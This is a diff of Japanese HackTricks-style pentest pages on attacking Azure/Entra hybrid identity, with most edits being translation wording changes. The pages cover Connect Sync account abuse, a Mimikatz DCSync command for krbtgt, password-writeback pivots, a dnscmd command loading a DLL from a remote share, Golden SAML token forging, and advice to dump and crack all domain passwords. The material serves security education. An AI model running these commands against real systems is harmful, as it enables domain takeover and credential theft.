@@ -18,35 +18,35 @@ az-cloud-sync.md
|
||||
|
||||
### 生成されたプリンシパル
|
||||
|
||||
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [documentation](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD で **レプリケーション (DCSync) 権限** を持つことを意味します。
|
||||
- アカウント **`MSOL_<installationID>`** はオンプレミス AD に自動的に作成されます。このアカウントには **ディレクトリ同期アカウント** の役割が与えられています (詳細は [ドキュメント](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions) を参照) これは、オンプレミス AD で **レプリケーション (DCSync) 権限** を持つことを意味します。
|
||||
- これは、このアカウントを侵害した者がオンプレミス ドメインを侵害できることを意味します。
|
||||
- 管理サービスアカウント **`ADSyncMSA<id>`** がオンプレミス AD に特別なデフォルト権限なしで作成されます。
|
||||
- Entra ID には、証明書を持つサービス プリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が作成されます。
|
||||
- Entra ID では、サービス プリンシパル **`ConnectSyncProvisioning_ConnectSync_<id>`** が証明書と共に作成されます。
|
||||
|
||||
## パスワードの同期
|
||||
|
||||
### パスワードハッシュの同期
|
||||
### パスワードハッシュ同期
|
||||
|
||||
このコンポーネントは、**AD から Entra ID へのパスワードを同期する**ためにも使用できます。これにより、ユーザーは AD のパスワードを使用して Entra ID に接続できるようになります。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュの同期を許可する必要があります。
|
||||
このコンポーネントは、**AD から Entra ID へのパスワードを同期する**ためにも使用できます。これにより、ユーザーは AD のパスワードを使用して Entra ID に接続できるようになります。これを行うには、AD サーバーにインストールされた Microsoft Entra Connect Sync エージェントでパスワードハッシュ同期を許可する必要があります。
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュの同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **パスワードハッシュ同期** は、ハイブリッドアイデンティティを達成するために使用されるサインイン方法の一つです。**Azure AD Connect** は、オンプレミスの Active Directory インスタンスからクラウドベースの Azure AD インスタンスにユーザーのパスワードのハッシュのハッシュを同期します。
|
||||
|
||||
基本的に、すべての **ユーザー** と **パスワードハッシュのハッシュ** がオンプレミスから Azure AD に同期されます。ただし、**平文のパスワード** や **元の** **ハッシュ** は Azure AD に送信されません。
|
||||
|
||||
**ハッシュの同期** は **2 分ごと** に行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD に同期されません。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセス** し続けることができます。
|
||||
**ハッシュの同期** は **2 分ごと** に行われます。ただし、デフォルトでは、**パスワードの有効期限** と **アカウントの有効期限** は Azure AD で **同期されません**。したがって、**オンプレミスのパスワードが期限切れ** (変更されていない) のユーザーは、古いパスワードを使用して **Azure リソースにアクセスし続ける** ことができます。
|
||||
|
||||
オンプレミスのユーザーが Azure リソースにアクセスしようとすると、**認証は Azure AD で行われます**。
|
||||
|
||||
> [!NOTE]
|
||||
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません**。ただし、この属性を持たない特権グループの一部である他のユーザーや、特権が直接割り当てられたユーザーは **同期される可能性があります**。
|
||||
> デフォルトでは、**`adminCount` が 1 の既知の特権グループのユーザーは、セキュリティ上の理由から Entra ID と同期されません**。ただし、この属性を持たない特権グループの一部である他のユーザーや、高い権限が直接割り当てられたユーザーは **同期される可能性があります**。
|
||||
|
||||
### パスワードの書き戻し
|
||||
|
||||
この構成により、ユーザーが Entra ID でパスワードを変更したときに **AD へのパスワードの同期** が可能になります。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) **より多くの権限を付与する必要があります**。これにより、**AD 内の任意のユーザーのパスワードを変更できる**ようになります。
|
||||
この構成により、ユーザーが Entra ID でパスワードを変更したときに **Entra ID から AD へのパスワードを同期する**ことができます。パスワードの書き戻しが機能するためには、AD に自動的に生成された `MSOL_<id>` ユーザーに [ドキュメントに記載されているように、より多くの権限を付与する必要があります](https://learn.microsoft.com/en-us/entra/identity/authentication/tutorial-enable-sspr-writeback) これにより、**AD 内の任意のユーザーのパスワードを変更できる**ようになります。
|
||||
|
||||
これは、侵害された Entra ID から AD を侵害するために特に興味深いです。なぜなら、ほぼすべてのユーザーのパスワードを変更できるからです。
|
||||
|
||||
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば：
|
||||
ドメイン管理者や特権グループに属する他のユーザーは、グループが **`adminCount` 属性が 1** の場合は複製されません。しかし、これらのグループに属さずに AD 内で高い権限が割り当てられた他のユーザーは、パスワードを変更される可能性があります。例えば:
|
||||
|
||||
- 直接高い権限が割り当てられたユーザー。
|
||||
- **`DNSAdmins`** グループのユーザー。
|
||||
@@ -58,7 +58,7 @@ az-cloud-sync.md
|
||||
|
||||
### Connect Sync の列挙
|
||||
|
||||
ユーザーを確認します：
|
||||
ユーザーを確認します:
|
||||
```bash
|
||||
# Check for the users created by the Connect Sync
|
||||
Install-WindowsFeature RSAT-AD-PowerShell
|
||||
@@ -76,7 +76,7 @@ $searcher.FindAll()
|
||||
$searcher.Filter = "(samAccountName=Sync_*)"
|
||||
$searcher.FindAll()
|
||||
```
|
||||
**Connect Sync構成**（ある場合）を確認してください：
|
||||
**Connect Syncの設定**（ある場合）を確認してください：
|
||||
```bash
|
||||
az rest --url "https://graph.microsoft.com/v1.0/directory/onPremisesSynchronization"
|
||||
# Check if password sychronization is enabled, if password and group writeback are enabled...
|
||||
@@ -112,7 +112,7 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
|
||||
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
|
||||
```
|
||||
> [!WARNING]
|
||||
> 以前の攻撃では、他のパスワードが侵害され、その後 `Sync_*` と呼ばれる Entra ID ユーザーに接続して Entra ID を侵害しました。しかし、このユーザーはもはや存在しません。
|
||||
> 以前の攻撃では、他のパスワードが侵害され、その後 `Sync_*` という Entra ID ユーザーに接続して Entra ID を侵害しました。しかし、このユーザーはもはや存在しません。
|
||||
|
||||
### ConnectSyncProvisioning_ConnectSync\_<id> の悪用
|
||||
|
||||
@@ -128,16 +128,16 @@ Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.lo
|
||||
このアプリケーションの SP は、文書化されていない API を使用して特権的なアクションを実行するためにまだ使用できるとされていますが、私の知る限りでは PoC はまだ見つかっていません。\
|
||||
いずれにせよ、これが可能であると考えると、このサービスプリンシパルとしてログインするための証明書を見つけて悪用する方法をさらに探ることは興味深いでしょう。
|
||||
|
||||
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP (Proof of Possession) を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました（**サービスプリンシパル**は常に新しい証明書を自分に割り当てることができます）そして、その後 SP として持続性を維持するために使用します。
|
||||
この [ブログ投稿](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71) は、`Sync_*` ユーザーからこのサービスプリンシパルへの変更の直前に公開され、証明書がサーバー内に保存されており、それを見つけて PoP（所有証明）を生成し、トークンをグラフ化し、これを使用してサービスプリンシパルに新しい証明書を追加できることが説明されました（**サービスプリンシパル**は常に新しい証明書を自分に割り当てることができます）。そして、その後 SP として持続性を維持するために使用します。
|
||||
|
||||
これらのアクションを実行するために、次のツールが公開されています：[SharpECUtils](https://github.com/hotnops/ECUtilities/tree/main/SharpECUtils)。
|
||||
|
||||
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのため、ツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
|
||||
私の経験では、証明書は以前のツールが探していた場所にはもはや保存されておらず、そのためツールはもはや機能しません。したがって、さらなる調査が必要かもしれません。
|
||||
|
||||
### Sync\_\* の悪用 [非推奨]
|
||||
|
||||
> [!WARNING]
|
||||
> 以前は、`Sync_*` というユーザーが Entra ID に非常に敏感な権限を持って作成されており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行することができました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、いくつかの環境ではまだ存在する可能性があるため、確認する価値があります。
|
||||
> 以前は、`Sync_*` というユーザーが Entra ID に作成され、非常に敏感な権限が割り当てられており、任意のユーザーのパスワードを変更したり、サービスプリンシパルに新しい資格情報を追加したりする特権的なアクションを実行できました。しかし、2025年1月からこのユーザーはデフォルトで作成されなくなり、現在はアプリケーション/SP **`ConnectSyncProvisioning_ConnectSync_<id>`** が使用されています。ただし、いくつかの環境にはまだ存在する可能性があるため、確認する価値があります。
|
||||
|
||||
**`Sync_*`** アカウントを侵害することで、任意のユーザー（グローバル管理者を含む）の **パスワードをリセット** することが可能です。
|
||||
```bash
|
||||
@@ -188,7 +188,7 @@ seamless-sso.md
|
||||
## ピボッティング Entra ID --> AD
|
||||
|
||||
- パスワードの書き戻しが有効になっている場合、Entra IDと同期されているAD内の任意のユーザーの**パスワードを変更する**ことができます。
|
||||
- グループの書き戻しが有効になっている場合、ADと同期されているEntra ID内の**特権グループにユーザーを追加する**ことができます。
|
||||
- グループの書き戻しが有効になっている場合、ADと同期されているEntra IDの**特権グループにユーザーを追加する**ことができます。
|
||||
|
||||
## 参考文献
|
||||
|
||||
@@ -199,4 +199,4 @@ seamless-sso.md
|
||||
- [https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/](https://www.silverfort.com/blog/exploiting-weaknesses-in-entra-id-account-synchronization-to-compromise-the-on-prem-environment/)
|
||||
- [https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71](https://posts.specterops.io/update-dumping-entra-connect-sync-credentials-4a9114734f71)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,28 +1,28 @@
|
||||
# Az - Microsoft Entra Domain Services
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Domain Services
|
||||
|
||||
Microsoft Entra Domain Servicesは、ドメインコントローラーを管理することなくAzureにActive Directoryを展開することを可能にします（実際、ドメインコントローラーにアクセスすることすらできません）。
|
||||
Microsoft Entra Domain Servicesは、ドメインコントローラーを管理することなくAzureにActive Directoryを展開することを可能にします（実際、あなたはそれらにアクセスすることすらできません）。
|
||||
|
||||
その主な目的は、最新の認証方法を使用できないレガシーアプリケーションをクラウドで実行できるようにすること、またはディレクトリの検索が常にオンプレミスのAD DS環境に戻ることを望まない場合です。
|
||||
その主な目的は、最新の認証方法を使用できないレガシーアプリケーションをクラウドで実行できるようにすること、またはディレクトリのルックアップが常にオンプレミスのAD DS環境に戻ることを望まない場合です。
|
||||
|
||||
Entra IDで生成されたユーザー（他のアクティブディレクトリから同期されていないユーザー）をADドメインサービスに同期するには、**ユーザーのパスワードを新しいものに変更する**必要があります。実際、パスワードが変更されるまで、ユーザーはMicrosoft Entra IDからドメインサービスに同期されません。
|
||||
Entra IDで生成されたユーザー（他のアクティブディレクトリから同期されていない）をADドメインサービスに同期するには、**ユーザーのパスワードを新しいものに変更する**必要があります。実際、パスワードが変更されるまで、ユーザーはMicrosoft Entra IDからドメインサービスに同期されません。
|
||||
|
||||
> [!WARNING]
|
||||
> 新しいアクティブディレクトリドメインを作成している場合でも、完全に管理することはできません（いくつかの誤設定を悪用しない限り）。つまり、デフォルトでは、例えばADに直接ユーザーを作成することはできません。ユーザーは**Entra IDからのユーザーを同期することによって作成します。** すべてのユーザー（他のオンプレミスADから同期されたユーザーを含む）、クラウドユーザー（Entra IDで作成されたユーザー）のみ、または**さらにフィルタリングする**ことができます。
|
||||
> 新しいアクティブディレクトリドメインを作成している場合でも、完全に管理することはできません（いくつかの誤設定を悪用しない限り）。つまり、デフォルトでは、例えばADに直接ユーザーを作成することはできません。ユーザーは**Entra IDからのユーザーの同期によって作成されます。** すべてのユーザー（他のオンプレミスADから同期されたユーザーを含む）、クラウドユーザー（Entra IDで作成されたユーザー）のみ、または**さらにフィルタリングする**こともできます。
|
||||
|
||||
> [!NOTE]
|
||||
> 一般的に、新しいドメインの設定の柔軟性が欠けていることと、ADが通常すでにオンプレミスに存在することから、これはEntra IDとADの主な統合ではありませんが、妥協する方法を知っておくことは興味深いです。
|
||||
> 一般的に、新しいドメインの構成の柔軟性が欠けていることと、ADが通常すでにオンプレミスに存在することから、これはEntra IDとADの主な統合ではありませんが、妥協する方法を知っておくことは興味深いです。
|
||||
|
||||
### Pivoting
|
||||
|
||||
生成された**`AAD DC Administrators`**グループのメンバーは、管理されたドメインにドメイン参加しているVMにローカル管理者権限が付与されます（ただし、ドメインコントローラーにはありません）。このグループのメンバーは、**リモートデスクトップを使用してドメイン参加しているVMにリモート接続する**こともできます。また、次のグループのメンバーでもあります：
|
||||
生成された**`AAD DC Administrators`**グループのメンバーは、管理されたドメインにドメイン参加しているVMにローカル管理者権限を付与されます（ただし、ドメインコントローラーにはありません）。このグループのメンバーは、**リモートデスクトップを使用してドメイン参加しているVMにリモート接続する**こともできます。また、次のグループのメンバーでもあります：
|
||||
|
||||
- **`Denied RODC Password Replication Group`**: これは、RODC（読み取り専用ドメインコントローラー）にパスワードをキャッシュできないユーザーとグループを指定するグループです。
|
||||
- **`Group Policy Creators Owners`**: このグループは、メンバーがドメイン内でグループポリシーを作成できるようにします。ただし、そのメンバーはユーザーやグループにグループポリシーを適用したり、既存のGPOを編集したりすることはできないため、この環境ではあまり興味深くありません。
|
||||
- **`DnsAdmins`**: このグループはDNS設定を管理することを許可し、過去には[特権を昇格させてドメインを妥協するために悪用されました](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)。ただし、この環境で攻撃をテストした後、脆弱性が修正されていることが確認されました。
|
||||
- **`Group Policy Creators Owners`**: このグループは、メンバーがドメイン内でグループポリシーを作成できるようにします。ただし、そのメンバーはユーザーやグループにグループポリシーを適用したり、既存のGPOを編集したりすることはできないため、この環境ではそれほど興味深くはありません。
|
||||
- **`DnsAdmins`**: このグループはDNS設定を管理することを可能にし、過去には[特権を昇格させてドメインを妥協するために悪用されました](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.html?highlight=dnsadmin#dnsadmins)。ただし、この環境で攻撃をテストした結果、脆弱性は修正されていることが確認されました。
|
||||
```text
|
||||
dnscmd TDW52Y80ZE26M1K.azure.training.hacktricks.xyz /config /serverlevelplugindll \\10.1.0.6\c$\Windows\Temp\adduser.dll
|
||||
|
||||
@@ -30,11 +30,11 @@ DNS Server failed to reset registry property.
|
||||
Status = 5 (0x00000005)
|
||||
Command failed: ERROR_ACCESS_DENIED 5 0x5
|
||||
```
|
||||
AD内でこれらの権限を付与するには、グループ **`AAD DC Administrators`** が前述のグループのメンバーに追加され、またGPO **`AADDC Computers GPO`** がドメイングループ **`AAD DC Administrators`** のすべてのメンバーをローカル管理者として追加します。
|
||||
注意すべきは、これらの権限を付与するために、AD内でグループ **`AAD DC Administrators`** が前述のグループのメンバーに追加され、またGPO **`AADDC Computers GPO`** がドメイングループ **`AAD DC Administrators`** のすべてのメンバーをローカル管理者として追加していることです。
|
||||
|
||||
Entra IDからDomain Servicesで作成されたADへのピボットは簡単で、グループ **`AAD DC Administrators`** にユーザーを追加し、RDPを介してドメイン内の任意のマシンにアクセスすれば、データを盗むことができ、さらに **ドメインを侵害することができます。**
|
||||
Entra IDからDomain Servicesで作成されたADへのピボットは簡単で、グループ **`AAD DC Administrators`** にユーザーを追加し、ドメイン内の任意のマシンにRDPでアクセスすれば、データを盗むことができ、さらに **ドメインを侵害することができます。**
|
||||
|
||||
しかし、ドメインからEntra IDへのピボットは簡単ではなく、ドメインからEntra IDに同期されるものは何もありません。ただし、すべてのVMのメタデータを確認し、割り当てられたマネージドIDが興味深い権限を持っている可能性があることを常に確認してください。また、**ドメインからすべてのユーザーのパスワードをダンプし、それをクラックしてEntra ID / Azureにログインしようとしてください。**
|
||||
しかし、ドメインからEntra IDへのピボットは簡単ではなく、ドメインの情報はEntra IDに同期されていません。ただし、すべてのVMに割り当てられたマネージドIDが興味深い権限を持っている可能性があるため、メタデータを常に確認してください。また、**ドメインからすべてのユーザーのパスワードをダンプし、それをクラックしてEntra ID / Azureにログインしようとしてください。**
|
||||
|
||||
> [!NOTE]
|
||||
> 過去にこの管理されたADにおいて、DCを侵害することを可能にする他の脆弱性が見つかったことに注意してください、[このようなもの](https://www.secureworks.com/research/azure-active-directory-domain-services-escalation-of-privilege?utm_source=chatgpt.com)。DCを侵害した攻撃者は、Azure管理者が気づかず、またはそれを削除できないまま、非常に簡単に持続性を維持することができます。
|
||||
@@ -83,4 +83,4 @@ fi
|
||||
done
|
||||
done <<< "$vm_list"
|
||||
```
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,10 +1,10 @@
|
||||
# Az - Federation
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## 基本情報
|
||||
|
||||
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
[ドキュメントから:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)
|
||||
|
||||
>**フェデレーション**は、**信頼**を確立した**ドメイン**の集合です。信頼のレベルは異なる場合がありますが、通常は**認証**を含み、ほぼ常に**認可**を含みます。典型的なフェデレーションには、**共有アクセス**のために**信頼**を確立した**複数の組織**が含まれることがあります。
|
||||
>あなたは**オンプレミスの**環境を**Azure AD**と**フェデレート**し、このフェデレーションを認証と認可に使用できます。このサインイン方法は、すべてのユーザーの**認証がオンプレミスで行われる**ことを保証します。この方法により、管理者はより厳格なアクセス制御を実施できます。**AD FS**およびPingFederateとのフェデレーションが利用可能です。
|
||||
@@ -13,7 +13,7 @@
|
||||
|
||||
基本的に、フェデレーションでは、すべての**認証**が**オンプレ**環境で行われ、ユーザーはすべての信頼された環境でSSOを体験します。したがって、ユーザーは**オンプレの資格情報**を使用して**クラウド**アプリケーションに**アクセス**できます。
|
||||
|
||||
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認可の**情報**を**交換**するために使用されます。
|
||||
**セキュリティアサーションマークアップ言語 (SAML)** は、プロバイダー間でのすべての認証および認可の**情報**の**交換**に使用されます。
|
||||
|
||||
フェデレーションのセットアップには、3つの当事者が存在します：
|
||||
|
||||
@@ -23,12 +23,12 @@
|
||||
|
||||
<figure><img src="../../../../images/image (121).png" alt="https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps"><figcaption>https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps</figcaption></figure>
|
||||
|
||||
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは特定の実装に応じてスキップされ、クライアントが直接IdP (アイデンティティプロバイダー) に移動することがあります。
|
||||
2. 次に、SPはユーザー認証のために適切なIdP (例：AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
|
||||
1. 最初に、ユーザーがアプリケーション (サービスプロバイダーまたはSP、例えばAWSコンソールやvSphereウェブクライアント) にアクセスします。このステップは、特定の実装に応じて、クライアントが直接IdP (アイデンティティプロバイダー) に移動することを許可する場合があります。
|
||||
2. 次に、SPはユーザー認証のために適切なIdP (例: AD FS、Okta) を特定します。その後、SAML (セキュリティアサーションマークアップ言語) AuthnRequestを作成し、クライアントを選択したIdPにリダイレクトします。
|
||||
3. IdPが引き継ぎ、ユーザーを認証します。認証後、IdPによってSAMLResponseが作成され、ユーザーを通じてSPに転送されます。
|
||||
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証され、IdPとの信頼関係が示されると、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
|
||||
4. 最後に、SPはSAMLResponseを評価します。成功裏に検証されれば、IdPとの信頼関係を示し、ユーザーにアクセスが許可されます。これにより、ログインプロセスが完了し、ユーザーはサービスを利用できるようになります。
|
||||
|
||||
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に進んでください：**
|
||||
**SAML認証と一般的な攻撃についてもっと学びたい場合は、次に移動してください:**
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
@@ -37,25 +37,25 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
## ピボッティング
|
||||
|
||||
- AD FSは、クレームベースのアイデンティティモデルです。
|
||||
- "..クレームは、ユーザーに関して行われる単なるステートメント（例えば、名前、アイデンティティ、グループ）であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを認可するために使用されます。"
|
||||
- ユーザーのクレームはSAMLトークン内に記述され、IdPによって機密性を提供するために署名されます。
|
||||
- "..クレームは、ユーザーに関して行われる単なるステートメント (例えば、名前、アイデンティティ、グループ) であり、主にインターネット上のクレームベースのアプリケーションへのアクセスを認可するために使用されます。"
|
||||
- ユーザーのクレームはSAMLトークン内に書き込まれ、IdPによって機密性を提供するために署名されます。
|
||||
- ユーザーはImmutableIDによって識別されます。これはグローバルに一意で、Azure ADに保存されています。
|
||||
- ImmutableIDは、ユーザーのms-DS-ConsistencyGuidとしてオンプレミスに保存されており、またはユーザーのGUIDから導出できます。
|
||||
- ImmutableIDは、ユーザーのためにオンプレミスのms-DS-ConsistencyGuidに保存されており、またはユーザーのGUIDから導出できます。
|
||||
- 詳細は[https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims](https://learn.microsoft.com/en-us/windows-server/identity/ad-fs/technical-reference/the-role-of-claims)を参照してください。
|
||||
|
||||
**ゴールデンSAML攻撃：**
|
||||
**ゴールデンSAML攻撃:**
|
||||
|
||||
- ADFSでは、SAML Responseはトークン署名証明書によって署名されます。
|
||||
- 証明書が侵害された場合、Azure ADに同期された任意のユーザーとして認証することが可能です！
|
||||
- PTAの悪用と同様に、ユーザーのパスワード変更やMFAは効果がなく、認証応答を偽造しているためです。
|
||||
- 証明書はDA権限を持つAD FSサーバーから抽出でき、インターネットに接続された任意のマシンから使用できます。
|
||||
- 証明書はDA権限を持つAD FSサーバーから抽出でき、その後、インターネットに接続された任意のマシンから使用できます。
|
||||
- 詳細は[https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)を参照してください。
|
||||
|
||||
### ゴールデンSAML
|
||||
|
||||
**アイデンティティプロバイダー (IdP)** がユーザーサインインを認可するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これにより、**サービスプロバイダー (SP)** はSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
|
||||
**アイデンティティプロバイダー (IdP)** がユーザーサインインを認可するために**SAMLResponse**を生成するプロセスは重要です。IdPの特定の実装に応じて、**応答**は**署名**または**暗号化**される場合があります。これは、**サービスプロバイダー (SP)** がSAMLResponseの真正性を確認し、それが信頼されたIdPによって発行されたものであることを保証します。
|
||||
|
||||
[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点があり、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を偽造することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
|
||||
[ゴールデンチケット攻撃](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket)と類似点を引くことができ、ユーザーのアイデンティティと権限を認証するためのキー (ゴールデンチケットのKRBTGT、ゴールデンSAMLのトークン署名秘密鍵) を操作して**認証オブジェクト** (TGTまたはSAMLResponse) を**偽造**することができます。これにより、任意のユーザーを偽装し、SPへの不正アクセスを許可します。
|
||||
|
||||
ゴールデンSAMLにはいくつかの利点があります：
|
||||
|
||||
@@ -68,7 +68,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
|
||||
|
||||
[Active Directory Federation Services (AD FS)](<https://docs.microsoft.com/en-us/previous-versions/windows/server-2008/bb897402(v=msdn.10)>)は、信頼されたビジネスパートナー間での**アイデンティティ情報の安全な交換**を促進するMicrosoftのサービスです。これは、ドメインサービスがフェデレーション内の他のサービスプロバイダーとユーザーアイデンティティを共有できるようにします。
|
||||
|
||||
AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得できます。
|
||||
AWSが侵害されたドメインを信頼している場合 (フェデレーション内で)、この脆弱性を利用してAWS環境内の**任意の権限を取得**することが可能です。この攻撃には、SAMLオブジェクトに署名するために使用される**秘密鍵**が必要であり、これはゴールデンチケット攻撃におけるKRBTGTが必要なことに似ています。AD FSユーザーアカウントへのアクセスがあれば、この秘密鍵を取得するのに十分です。
|
||||
|
||||
ゴールデンSAML攻撃を実行するための要件は次のとおりです：
|
||||
|
||||
@@ -80,7 +80,7 @@ AWSが侵害されたドメインを信頼している場合 (フェデレーシ
|
||||
- AWSのロールセッション名
|
||||
- AmazonアカウントID
|
||||
|
||||
_太字の項目のみが必須です。他の項目は任意で記入できます。_
|
||||
_太字の項目のみが必須です。他の項目は任意で入力できます。_
|
||||
|
||||
**秘密鍵**を取得するには、**AD FSユーザーアカウント**へのアクセスが必要です。そこから、秘密鍵を[mimikatz](https://github.com/gentilkiwi/mimikatz)のようなツールを使用して**個人ストアからエクスポート**できます。他の必要な情報を収集するには、Microsoft.Adfs.Powershellスナップインを次のように利用できます。ADFSユーザーとしてログインしていることを確認してください：
|
||||
```bash
|
||||
@@ -149,4 +149,4 @@ Open-AADIntOffice365Portal -ImmutableID "aodilmsic30fugCUgHxsnK==" -Issuer http:
|
||||
- [https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed](https://learn.microsoft.com/en-us/azure/active-directory/hybrid/whatis-fed)
|
||||
- [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -1,22 +1,22 @@
|
||||
# ハイブリッドアイデンティティの雑多な攻撃
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Entra ID ユーザーのオンプレミスへの同期強制
|
||||
|
||||
[https://www.youtube.com/watch?v=JEIR5oGCwdg](https://www.youtube.com/watch?v=JEIR5oGCwdg) で述べられているように、オンプレミスの AD ユーザー内の **`ProxyAddress`** の値を変更し、Entra ID 管理者ユーザーのメールアドレスを追加し、AD と Entra ID のユーザーの UPN が一致することを確認することが可能でした（これが再び Entra ID です）、例えば **`SMTP:admin@domain.onmicrosoft.com`** のように。この操作により、**このユーザーの同期を Entra ID からオンプレミス AD に強制する**ことができ、ユーザーのパスワードが知られていれば、Entra ID の管理者に**アクセスするために使用できました**。
|
||||
